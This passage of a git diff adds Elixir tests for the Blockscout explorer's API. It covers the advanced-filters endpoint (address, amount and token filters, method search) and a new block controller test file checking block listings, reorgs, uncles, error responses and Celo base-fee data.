insert(:address) + + for i <- 0..2 do + transaction = + :transaction + |> insert(from_address_hash: address_to_exclude.hash, from_address: address_to_exclude) + |> with_block() + + if i < 4 do + :transaction + |> insert(from_address_hash: address_to_include.hash, from_address: address_to_include) + |> with_block() + + insert(:internal_transaction, + transaction: transaction, + from_address_hash: address_to_include.hash, + from_address: address_to_include, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, + from_address_hash: address_to_include.hash, + from_address: address_to_include, + transaction: transaction, + block_number: transaction.block_number, + log_index: i + ) + else + insert(:internal_transaction, + transaction: transaction, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, transaction: transaction, block_number: transaction.block_number, log_index: i) + end + end + + request = + get(conn, "/api/v2/advanced-filters", %{ + "from_address_hashes_to_include" => to_string(address_to_include.hash), + "from_address_hashes_to_exclude" => to_string(address_to_exclude.hash) + }) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 9 + end + + test "filter by to address include", %{conn: conn} do + address = insert(:address) + + for i <- 0..4 do + transaction = :transaction |> insert() |> with_block() + + if i < 2 do + :transaction |> insert(to_address_hash: address.hash, to_address: address) |> with_block() + + insert(:internal_transaction, + transaction: transaction, + to_address_hash: address.hash, + to_address: address, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, + to_address_hash: address.hash, + to_address: address, + transaction: transaction, + block_number: transaction.block_number, + log_index: i + ) + else + insert(:internal_transaction, + transaction: transaction, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, transaction: transaction, block_number: transaction.block_number, log_index: i) + end + end + + request = get(conn, "/api/v2/advanced-filters", %{"to_address_hashes_to_include" => to_string(address.hash)}) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 6 + end + + test "filter by to address exclude", %{conn: conn} do + address = insert(:address) + + for i <- 0..4 do + transaction = :transaction |> insert() |> with_block() + + if i < 4 do + :transaction |> insert(to_address_hash: address.hash, to_address: address) |> with_block() + + insert(:internal_transaction, + transaction: transaction, + to_address_hash: address.hash, + to_address: address, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, + to_address_hash: address.hash, + to_address: address, + transaction: transaction, + block_number: transaction.block_number, + log_index: i + ) + else + insert(:internal_transaction, + transaction: transaction, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, transaction: transaction, block_number: transaction.block_number, log_index: i) + end + end + + request = get(conn, "/api/v2/advanced-filters", %{"to_address_hashes_to_exclude" => to_string(address.hash)}) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 7 + end + + test "filter by to address include and exclude", %{conn: conn} do + address_to_include = insert(:address) + address_to_exclude = insert(:address) + + for i <- 0..2 do + transaction = + :transaction + |> insert(to_address_hash: address_to_exclude.hash, to_address: address_to_exclude) + |> with_block() + + if i < 4 do + :transaction + |> insert(to_address_hash: address_to_include.hash, to_address: address_to_include) + |> with_block() + + insert(:internal_transaction, + transaction: transaction, + to_address_hash: address_to_include.hash, + to_address: address_to_include, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, + to_address_hash: address_to_include.hash, + to_address: address_to_include, + transaction: transaction, + block_number: transaction.block_number, + log_index: i + ) + else + insert(:internal_transaction, + transaction: transaction, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, transaction: transaction, block_number: transaction.block_number, log_index: i) + end + end + + request = + get(conn, "/api/v2/advanced-filters", %{ + "to_address_hashes_to_include" => to_string(address_to_include.hash), + "to_address_hashes_to_exclude" => to_string(address_to_exclude.hash) + }) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 9 + end + + test "filter by from and to address", %{conn: conn} do + from_address = insert(:address) + to_address = insert(:address) + + for i <- 0..8 do + transaction = :transaction |> insert() |> with_block() + + cond do + i < 2 -> + :transaction |> insert(from_address_hash: from_address.hash, from_address: from_address) |> with_block() + + insert(:internal_transaction, + transaction: transaction, + from_address_hash: from_address.hash, + from_address: from_address, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, + from_address_hash: from_address.hash, + from_address: from_address, + transaction: transaction, + block_number: transaction.block_number, + log_index: i + ) + + i < 4 -> + :transaction |> insert(to_address_hash: to_address.hash, to_address: to_address) |> with_block() + + insert(:internal_transaction, + transaction: transaction, + to_address_hash: to_address.hash, + to_address: to_address, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, + to_address_hash: to_address.hash, + to_address: to_address, + transaction: transaction, + block_number: transaction.block_number, + log_index: i + ) + + i < 6 -> + :transaction + |> insert( + to_address_hash: to_address.hash, + to_address: to_address, + from_address_hash: from_address.hash, + from_address: from_address + ) + |> with_block() + + insert(:internal_transaction, + transaction: transaction, + to_address_hash: to_address.hash, + to_address: to_address, + from_address_hash: from_address.hash, + from_address: from_address, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, + to_address_hash: to_address.hash, + to_address: to_address, + from_address_hash: from_address.hash, + from_address: from_address, + transaction: transaction, + block_number: transaction.block_number, + log_index: i + ) + + true -> + insert(:internal_transaction, + transaction: transaction, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, transaction: transaction, block_number: transaction.block_number, log_index: i) + end + end + + request = + get(conn, "/api/v2/advanced-filters", %{ + "from_address_hashes_to_include" => to_string(from_address.hash), + "to_address_hashes_to_include" => to_string(to_address.hash), + "address_relation" => "AnD" + }) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 6 + end + + test "filter by from or to address", %{conn: conn} do + from_address = insert(:address) + to_address = insert(:address) + + for i <- 0..8 do + transaction = :transaction |> insert() |> with_block() + + cond do + i < 2 -> + :transaction |> insert(from_address_hash: from_address.hash, from_address: from_address) |> with_block() + + insert(:internal_transaction, + transaction: transaction, + from_address_hash: from_address.hash, + from_address: from_address, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, + from_address_hash: from_address.hash, + from_address: from_address, + transaction: transaction, + block_number: transaction.block_number, + log_index: i + ) + + i < 4 -> + :transaction |> insert(to_address_hash: to_address.hash, to_address: to_address) |> with_block() + + insert(:internal_transaction, + transaction: transaction, + to_address_hash: to_address.hash, + to_address: to_address, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, + to_address_hash: to_address.hash, + to_address: to_address, + transaction: transaction, + block_number: transaction.block_number, + log_index: i + ) + + i < 6 -> + :transaction + |> insert( + to_address_hash: to_address.hash, + to_address: to_address, + from_address_hash: from_address.hash, + from_address: from_address + ) + |> with_block() + + insert(:internal_transaction, + transaction: transaction, + to_address_hash: to_address.hash, + to_address: to_address, + from_address_hash: from_address.hash, + from_address: from_address, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, + to_address_hash: to_address.hash, + to_address: to_address, + from_address_hash: from_address.hash, + from_address: from_address, + transaction: transaction, + block_number: transaction.block_number, + log_index: i + ) + + true -> + insert(:internal_transaction, + transaction: transaction, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, transaction: transaction, block_number: transaction.block_number, log_index: i) + end + end + + request = + get(conn, "/api/v2/advanced-filters", %{ + "from_address_hashes_to_include" => to_string(from_address.hash), + "to_address_hashes_to_include" => to_string(to_address.hash) + }) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 18 + end + + test "filter by amount", %{conn: conn} do + for i <- 0..4 do + transaction = :transaction |> insert(value: i * 10 ** 18) |> with_block() + + insert(:internal_transaction, + transaction: transaction, + block_hash: transaction.block_hash, + index: 1, + block_index: 1, + value: i * 10 ** 18 + ) + + token = insert(:token, decimals: 10) + + insert(:token_transfer, + amount: i * 10 ** 10, + token_contract_address: token.contract_address, + transaction: transaction, + block_number: transaction.block_number, + log_index: 0 + ) + end + + request = get(conn, "/api/v2/advanced-filters", %{"amount_from" => "0.5", "amount_to" => "2.99"}) + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 6 + end + + test "filter by token contract address include", %{conn: conn} do + token_a = insert(:token) + token_b = insert(:token) + token_c = insert(:token) + + transaction = :transaction |> insert() |> with_block() + + for token <- [token_a, token_b, token_c, token_a, token_b, token_c, token_a, token_b, token_c] do + insert(:token_transfer, + token_contract_address: token.contract_address, + transaction: transaction, + block_number: transaction.block_number, + log_index: 0 + ) + end + + request = + get(conn, "/api/v2/advanced-filters", %{ + "token_contract_address_hashes_to_include" => + "#{token_b.contract_address_hash},#{token_c.contract_address_hash}" + }) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 6 + end + + test "filter by token contract address exclude", %{conn: conn} do + token_a = insert(:token) + token_b = insert(:token) + token_c = insert(:token) + + transaction = :transaction |> insert() |> with_block() + + for token <- [token_a, token_b, token_c, token_a, token_b, token_c, token_a, token_b, token_c] do + insert(:token_transfer, + token_contract_address: token.contract_address, + transaction: transaction, + block_number: transaction.block_number, + log_index: 0 + ) + end + + request = + get(conn, "/api/v2/advanced-filters", %{ + "token_contract_address_hashes_to_exclude" => + "#{token_b.contract_address_hash},#{token_c.contract_address_hash}" + }) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 4 + end + + test "filter by token contract address include with native", %{conn: conn} do + token_a = insert(:token) + token_b = insert(:token) + token_c = insert(:token) + + transaction = :transaction |> insert() |> with_block() + + for token <- [token_a, token_b, token_c, token_a, token_b, token_c, token_a, token_b, token_c] do + insert(:token_transfer, + token_contract_address: token.contract_address, + transaction: transaction, + block_number: transaction.block_number, + log_index: 0 + ) + end + + request = + get(conn, "/api/v2/advanced-filters", %{ + "token_contract_address_hashes_to_include" => + "#{token_b.contract_address_hash},#{token_c.contract_address_hash},native" + }) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 7 + end + + test "filter by token contract address exclude with native", %{conn: conn} do + token_a = insert(:token) + token_b = insert(:token) + token_c = insert(:token) + + transaction = :transaction |> insert() |> with_block() + + for token <- [token_a, token_b, token_c, token_a, token_b, token_c, token_a, token_b, token_c] do + insert(:token_transfer, + token_contract_address: token.contract_address, + transaction: transaction, + block_number: transaction.block_number, + log_index: 0 + ) + end + + request = + get(conn, "/api/v2/advanced-filters", %{ + "token_contract_address_hashes_to_exclude" => + "#{token_b.contract_address_hash},#{token_c.contract_address_hash},native" + }) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 3 + end + + test "correct query with all filters and pagination", %{conn: conn} do + for address_relation <- [:or, :and] do + method_id_string = "0xa9059cbb" + {:ok, method} = Data.cast(method_id_string <> "ab0ba0") + transaction_from_address = insert(:address) + transaction_to_address = insert(:address) + token_transfer_from_address = insert(:address) + token_transfer_to_address = insert(:address) + token = insert(:token) + {:ok, burn_address_hash} = Hash.Address.cast(SmartContract.burn_address_hash_string()) + + insert_list(5, :transaction) + + transactions = + for _ <- 0..29 do + transaction = + insert(:transaction, + from_address: transaction_from_address, + from_address_hash: transaction_from_address.hash, + to_address: transaction_to_address, + to_address_hash: transaction_to_address.hash, + value: Enum.random(0..1_000_000), + input: method + ) + |> with_block() + + insert(:token_transfer, + transaction: transaction, + block_number: transaction.block_number, + amount: Enum.random(0..1_000_000), + from_address: token_transfer_from_address, + from_address_hash: token_transfer_from_address.hash, + to_address: token_transfer_to_address, + to_address_hash: token_transfer_to_address.hash, + token_contract_address: token.contract_address, + token_contract_address_hash: token.contract_address_hash + ) + + transaction + end + + insert_list(5, :transaction) + + from_timestamp = List.first(transactions).block.timestamp + to_timestamp = List.last(transactions).block.timestamp + + params = %{ + "tx_types" => "coin_transfer,ERC-20", + "methods" => method_id_string, + "age_from" => from_timestamp |> DateTime.to_iso8601(), + "age_to" => to_timestamp |> DateTime.to_iso8601(), + "from_address_hashes_to_include" => "#{transaction_from_address.hash},#{token_transfer_from_address.hash}", + "to_address_hashes_to_include" => "#{transaction_to_address.hash},#{token_transfer_to_address.hash}", + "address_relation" => to_string(address_relation), + "amount_from" => "0", + "amount_to" => "1000000", + "token_contract_address_hashes_to_include" => "native,#{token.contract_address_hash}", + "token_contract_address_hashes_to_exclude" => "#{burn_address_hash}" + } + + request = + get(conn, "/api/v2/advanced-filters", params) + + assert response = json_response(request, 200) + request_2nd_page = get(conn, "/api/v2/advanced-filters", Map.merge(params, response["next_page_params"])) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response( + AdvancedFilter.list( + tx_types: ["COIN_TRANSFER", "ERC-20"], + methods: ["0xa9059cbb"], + age: [from: from_timestamp, to: to_timestamp], + from_address_hashes: [ + include: [transaction_from_address.hash, token_transfer_from_address.hash], + exclude: nil + ], + to_address_hashes: [ + include: [transaction_to_address.hash, token_transfer_to_address.hash], + exclude: nil + ], + address_relation: address_relation, + amount: [from: Decimal.new("0"), to: Decimal.new("1000000")], + token_contract_address_hashes: [ + include: [ + "native", + token.contract_address_hash + ], + exclude: [burn_address_hash] + ], + api?: true + ), + response["items"], + response_2nd_page["items"] + ) + end + end + end + + describe "/advanced_filters/methods?q=" do + test "returns empty list if method does not exist", %{conn: conn} do + request = get(conn, "/api/v2/advanced-filters/methods", %{"q" => "foo"}) + assert response = json_response(request, 200) + assert response == [] + end + + test "finds method by name", %{conn: conn} do + insert(:contract_method) + request = get(conn, "/api/v2/advanced-filters/methods", %{"q" => "set"}) + assert response = json_response(request, 200) + assert response == [%{"method_id" => "0x60fe47b1", "name" => "set"}] + end + + test "finds method by id", %{conn: conn} do + insert(:contract_method) + request = get(conn, "/api/v2/advanced-filters/methods", %{"q" => "0x60fe47b1"}) + assert response = json_response(request, 200) + assert response == [%{"method_id" => "0x60fe47b1", "name" => "set"}] + end + + test "finds method with method id starting with 0x", %{conn: conn} do + abi = + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint64"}, %{"name" => "y", "type" => "address"}], + "name" => "getAccess", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + } + + [parsed_method] = ABI.parse_specification([abi]) + + insert(:contract_method, + abi: abi, + identifier: parsed_method.method_id + ) + + request = get(conn, "/api/v2/advanced-filters/methods", %{"q" => "0x3078f114"}) + assert response = json_response(request, 200) + assert response == [%{"method_id" => "0x3078f114", "name" => "getAccess"}] + end + end + + defp check_paginated_response(all_advanced_filters, first_page, second_page) do + assert all_advanced_filters + |> Enum.map( + &{&1.block_number, &1.transaction_index, &1.internal_transaction_index, &1.token_transfer_index, + &1.token_transfer_batch_index} + ) == + Enum.map( + first_page ++ second_page, + &{&1["block_number"], &1["transaction_index"], &1["internal_transaction_index"], + &1["token_transfer_index"], &1["token_transfer_batch_index"]} + ) + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/block_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/block_controller_test.exs new file mode 100644 index 000000000000..39126b14dbc7 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/block_controller_test.exs @@ -0,0 +1,865 @@ +defmodule BlockScoutWeb.API.V2.BlockControllerTest do + use BlockScoutWeb.ConnCase + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Explorer.Chain.{Address, Block, InternalTransaction, Transaction, Withdrawal} + alias Explorer.Chain.Beacon.Deposit, as: BeaconDeposit + + setup do + Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) + Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) + Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.Uncles.child_id()) + Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.Uncles.child_id()) + + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, + contracts: %{ + "addresses" => %{ + "Accounts" => [], + "Election" => [], + "EpochRewards" => [], + "FeeHandler" => [], + "GasPriceMinimum" => [], + "GoldToken" => [], + "Governance" => [], + "LockedGold" => [], + "Reserve" => [], + "StableToken" => [], + "Validators" => [] + } + } + ) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, contracts: %{}) + end) + + :ok + end + + describe "/blocks" do + test "empty lists", %{conn: conn} do + request = get(conn, "/api/v2/blocks") + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + + request = get(conn, "/api/v2/blocks", %{"type" => "uncle"}) + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + + request = get(conn, "/api/v2/blocks", %{"type" => "reorg"}) + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + + request = get(conn, "/api/v2/blocks", %{"type" => "block"}) + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + end + + test "get block", %{conn: conn} do + block = insert(:block) + + request = get(conn, "/api/v2/blocks") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + compare_item(block, Enum.at(response["items"], 0)) + end + + test "type=block returns only consensus blocks", %{conn: conn} do + blocks = + 4 + |> insert_list(:block) + |> Enum.reverse() + + for index <- 0..3 do + uncle = insert(:block, consensus: false) + insert(:block_second_degree_relation, uncle_hash: uncle.hash, nephew: Enum.at(blocks, index)) + end + + 2 + |> insert_list(:block, consensus: false) + + request = get(conn, "/api/v2/blocks", %{"type" => "block"}) + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 4 + assert response["next_page_params"] == nil + + for index <- 0..3 do + compare_item(Enum.at(blocks, index), Enum.at(response["items"], index)) + end + end + + test "type=block can paginate", %{conn: conn} do + blocks = + 51 + |> insert_list(:block) + + filter = %{"type" => "block"} + + request = get(conn, "/api/v2/blocks", filter) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/blocks", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, blocks) + end + + test "type=reorg returns only non consensus blocks", %{conn: conn} do + blocks = + 5 + |> insert_list(:block) + + for index <- 0..3 do + uncle = insert(:block, consensus: false) + insert(:block_second_degree_relation, uncle_hash: uncle.hash, nephew: Enum.at(blocks, index)) + end + + reorgs = + 4 + |> insert_list(:block, consensus: false) + |> Enum.reverse() + + Enum.each(reorgs, fn b -> insert(:block, number: b.number, consensus: true) end) + + request = get(conn, "/api/v2/blocks", %{"type" => "reorg"}) + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 4 + assert response["next_page_params"] == nil + + for index <- 0..3 do + compare_item(Enum.at(reorgs, index), Enum.at(response["items"], index)) + end + end + + test "type=reorg can paginate", %{conn: conn} do + reorgs = + 51 + |> insert_list(:block, consensus: false) + + Enum.each(reorgs, fn b -> insert(:block, number: b.number, consensus: true) end) + + filter = %{"type" => "reorg"} + request = get(conn, "/api/v2/blocks", filter) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/blocks", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, reorgs) + end + + test "type=uncle returns only uncle blocks", %{conn: conn} do + blocks = + 4 + |> insert_list(:block) + |> Enum.reverse() + + uncles = + for index <- 0..3 do + uncle = insert(:block, consensus: false) + insert(:block_second_degree_relation, uncle_hash: uncle.hash, nephew: Enum.at(blocks, index)) + uncle + end + |> Enum.reverse() + + 4 + |> insert_list(:block, consensus: false) + + request = get(conn, "/api/v2/blocks", %{"type" => "uncle"}) + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 4 + assert response["next_page_params"] == nil + + for index <- 0..3 do + compare_item(Enum.at(uncles, index), Enum.at(response["items"], index)) + end + end + + test "type=uncle can paginate", %{conn: conn} do + blocks = + 51 + |> insert_list(:block) + + uncles = + for index <- 0..50 do + uncle = insert(:block, consensus: false) + insert(:block_second_degree_relation, uncle_hash: uncle.hash, nephew: Enum.at(blocks, index)) + uncle + end + + filter = %{"type" => "uncle"} + request = get(conn, "/api/v2/blocks", filter) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/blocks", Map.merge(response["next_page_params"], filter)) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, uncles) + end + end + + describe "/blocks/{block_hash_or_number}" do + test "return 422 on invalid parameter", %{conn: conn} do + request_1 = get(conn, "/api/v2/blocks/0x123123") + assert %{"message" => "Invalid hash"} = json_response(request_1, 422) + + request_2 = get(conn, "/api/v2/blocks/123qwe") + assert %{"message" => "Invalid number"} = json_response(request_2, 422) + end + + test "return 404 on non existing block", %{conn: conn} do + block = build(:block) + + request_1 = get(conn, "/api/v2/blocks/#{block.number}") + assert %{"message" => "Not found"} = json_response(request_1, 404) + + request_2 = get(conn, "/api/v2/blocks/#{block.hash}") + assert %{"message" => "Not found"} = json_response(request_2, 404) + end + + test "get 'Block lost consensus' message", %{conn: conn} do + block = insert(:block, consensus: false) + hash = to_string(block.hash) + + request_1 = get(conn, "/api/v2/blocks/#{block.number}") + assert %{"message" => "Block lost consensus", "hash" => ^hash} = json_response(request_1, 404) + end + + test "get the same blocks by hash and number", %{conn: conn} do + block = insert(:block) + + request_1 = get(conn, "/api/v2/blocks/#{block.number}") + assert response_1 = json_response(request_1, 200) + + request_2 = get(conn, "/api/v2/blocks/#{block.hash}") + assert response_2 = json_response(request_2, 200) + + assert response_2 == response_1 + compare_item(block, response_2) + end + + test "includes is_pending_update field in response", %{conn: conn} do + block_refetch_needed = insert(:block, refetch_needed: true) + block_no_refetch = insert(:block, refetch_needed: false) + + request_1 = get(conn, "/api/v2/blocks/#{block_refetch_needed.hash}") + assert response_1 = json_response(request_1, 200) + assert response_1["is_pending_update"] == true + + request_2 = get(conn, "/api/v2/blocks/#{block_no_refetch.hash}") + assert response_2 = json_response(request_2, 200) + assert response_2["is_pending_update"] == false + end + + test "includes is_pending_update field in block lists", %{conn: conn} do + block_refetch_needed = insert(:block, refetch_needed: true) + block_no_refetch = insert(:block, refetch_needed: false) + + request = get(conn, "/api/v2/blocks") + assert response = json_response(request, 200) + + # Find the blocks in the response + refetch_block_response = + Enum.find(response["items"], fn item -> item["hash"] == to_string(block_refetch_needed.hash) end) + + no_refetch_block_response = + Enum.find(response["items"], fn item -> item["hash"] == to_string(block_no_refetch.hash) end) + + assert refetch_block_response["is_pending_update"] == true + assert no_refetch_block_response["is_pending_update"] == false + end + + if @chain_type == :celo do + test "get block with Celo base fee information when chain type is celo", %{conn: conn} do + # Store original configuration + original_celo_config = Application.get_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts) + + # Set up Celo core contracts configuration for base fee + fee_handler_address = insert(:address) + governance_address = insert(:address) + celo_token_address = insert(:address) + + celo_config = [ + contracts: %{ + "addresses" => %{ + "FeeHandler" => [ + %{ + "address" => to_string(fee_handler_address.hash), + "updated_at_block_number" => 0 + } + ], + "Governance" => [ + %{ + "address" => to_string(governance_address.hash), + "updated_at_block_number" => 0 + } + ], + "GoldToken" => [ + %{ + "address" => to_string(celo_token_address.hash), + "updated_at_block_number" => 0 + } + ] + }, + "events" => %{ + "FeeHandler" => %{ + "FeeBeneficiarySet" => [ + %{ + "address_hash" => to_string(insert(:address).hash), + "updated_at_block_number" => 0 + } + ], + "BurnFractionSet" => [ + %{ + "value" => "500000000000000000000000", + "updated_at_block_number" => 0 + } + ] + } + } + } + ] + + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, celo_config) + + # Create a CELO token for the response + insert(:token, + contract_address_hash: celo_token_address.hash, + contract_address: celo_token_address, + symbol: "CELO", + name: "Celo", + type: "ERC-20" + ) + + # Create a block with base fee and transactions + block = + insert(:block, + # 1 gwei + base_fee_per_gas: 1_000_000_000 + ) + + # Create transactions for the block to calculate burnt fees + for index <- 0..2 do + insert(:transaction, + block_hash: block.hash, + block_number: block.number, + # 2 gwei + gas_price: 2_000_000_000, + gas_used: 21_000, + max_fee_per_gas: 2_000_000_000, + max_priority_fee_per_gas: 1_000_000_000, + cumulative_gas_used: 21_000, + index: index + ) + end + + # Make the request + request = get(conn, "/api/v2/blocks/#{block.hash}") + assert response = json_response(request, 200) + + # Verify basic block information + compare_item(block, response) + + # Verify Celo-specific information is present + assert Map.has_key?(response, "celo") + celo_info = response["celo"] + + # Verify epoch information + assert Map.has_key?(celo_info, "epoch_number") + assert Map.has_key?(celo_info, "is_epoch_block") + assert celo_info["is_epoch_block"] == false + + # Verify base fee information is present + assert Map.has_key?(celo_info, "base_fee") + assert base_fee_info = celo_info["base_fee"] + + # Verify base fee structure + assert Map.has_key?(base_fee_info, "recipient") + assert Map.has_key?(base_fee_info, "amount") + assert Map.has_key?(base_fee_info, "token") + assert Map.has_key?(base_fee_info, "breakdown") + + # Verify token information + token_info = base_fee_info["token"] + assert token_info["symbol"] == "CELO" + assert token_info["name"] == "Celo" + + # Verify recipient information + recipient = base_fee_info["recipient"] + assert Map.has_key?(recipient, "hash") + + # Verify breakdown structure + breakdown = base_fee_info["breakdown"] + assert is_list(breakdown) + + # Restore original configuration + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, original_celo_config) + end) + end + + test "get block with Celo governance base fee when fee handler is not available", %{conn: conn} do + # Store original configuration + original_celo_config = Application.get_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts) + + # Set up Celo core contracts configuration with only governance (no fee handler) + governance_address = insert(:address) + celo_token_address = insert(:address) + + celo_config = [ + contracts: %{ + "addresses" => %{ + "Governance" => [ + %{ + "address" => to_string(governance_address.hash), + "updated_at_block_number" => 0 + } + ], + "GoldToken" => [ + %{ + "address" => to_string(celo_token_address.hash), + "updated_at_block_number" => 0 + } + ] + } + } + ] + + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, celo_config) + + # Create a CELO token for the response + insert(:token, + contract_address_hash: celo_token_address.hash, + contract_address: celo_token_address, + symbol: "CELO", + name: "Celo", + type: "ERC-20" + ) + + # Create a block with base fee and transactions + block = + insert(:block, + # 1 gwei + base_fee_per_gas: 1_000_000_000 + ) + + # Create transactions for the block to calculate burnt fees + for index <- 0..2 do + insert(:transaction, + block_hash: block.hash, + block_number: block.number, + # 2 gwei + gas_price: 2_000_000_000, + gas_used: 21_000, + max_fee_per_gas: 2_000_000_000, + max_priority_fee_per_gas: 1_000_000_000, + cumulative_gas_used: 21_000, + index: index + ) + end + + # Make the request + request = get(conn, "/api/v2/blocks/#{block.hash}") + assert response = json_response(request, 200) + + # Verify basic block information + compare_item(block, response) + + # Verify Celo-specific information is present + assert Map.has_key?(response, "celo") + celo_info = response["celo"] + + # Verify epoch information + assert Map.has_key?(celo_info, "epoch_number") + assert Map.has_key?(celo_info, "is_epoch_block") + + # Verify base fee information is present (may be nil if governance fallback doesn't work) + assert Map.has_key?(celo_info, "base_fee") + assert base_fee_info = celo_info["base_fee"] + + # Verify base fee structure for governance case + assert Map.has_key?(base_fee_info, "recipient") + assert Map.has_key?(base_fee_info, "amount") + assert Map.has_key?(base_fee_info, "token") + assert Map.has_key?(base_fee_info, "breakdown") + + # For governance case, breakdown should be empty + breakdown = base_fee_info["breakdown"] + assert is_list(breakdown) + assert Enum.empty?(breakdown) + + # Restore original configuration + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, original_celo_config) + end) + end + end + end + + describe "/blocks/{block_hash_or_number}/transactions" do + test "return 422 on invalid parameter", %{conn: conn} do + request_1 = get(conn, "/api/v2/blocks/0x123123/transactions") + assert %{"message" => "Invalid hash"} = json_response(request_1, 422) + + request_2 = get(conn, "/api/v2/blocks/123qwe/transactions") + assert %{"message" => "Invalid number"} = json_response(request_2, 422) + end + + test "return 404 on non existing block", %{conn: conn} do + block = build(:block) + + request_1 = get(conn, "/api/v2/blocks/#{block.number}/transactions") + assert %{"message" => "Not found"} = json_response(request_1, 404) + + request_2 = get(conn, "/api/v2/blocks/#{block.hash}/transactions") + assert %{"message" => "Not found"} = json_response(request_2, 404) + end + + test "get empty list", %{conn: conn} do + block = insert(:block) + + request = get(conn, "/api/v2/blocks/#{block.number}/transactions") + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + + request = get(conn, "/api/v2/blocks/#{block.hash}/transactions") + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + end + + test "get relevant transaction", %{conn: conn} do + 10 + |> insert_list(:transaction) + |> with_block() + + block = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(block) + + request = get(conn, "/api/v2/blocks/#{block.number}/transactions") + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + compare_item(transaction, Enum.at(response["items"], 0)) + + request = get(conn, "/api/v2/blocks/#{block.hash}/transactions") + assert response_1 = json_response(request, 200) + assert response_1 == response + end + + test "get transactions with working next_page_params", %{conn: conn} do + 2 + |> insert_list(:transaction) + |> with_block() + + block = insert(:block) + + transactions = + 51 + |> insert_list(:transaction) + |> with_block(block) + |> Enum.reverse() + + request = get(conn, "/api/v2/blocks/#{block.number}/transactions") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/blocks/#{block.number}/transactions", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, transactions) + + request_1 = get(conn, "/api/v2/blocks/#{block.hash}/transactions") + assert response_1 = json_response(request_1, 200) + + assert response_1 == response + + request_2 = get(conn, 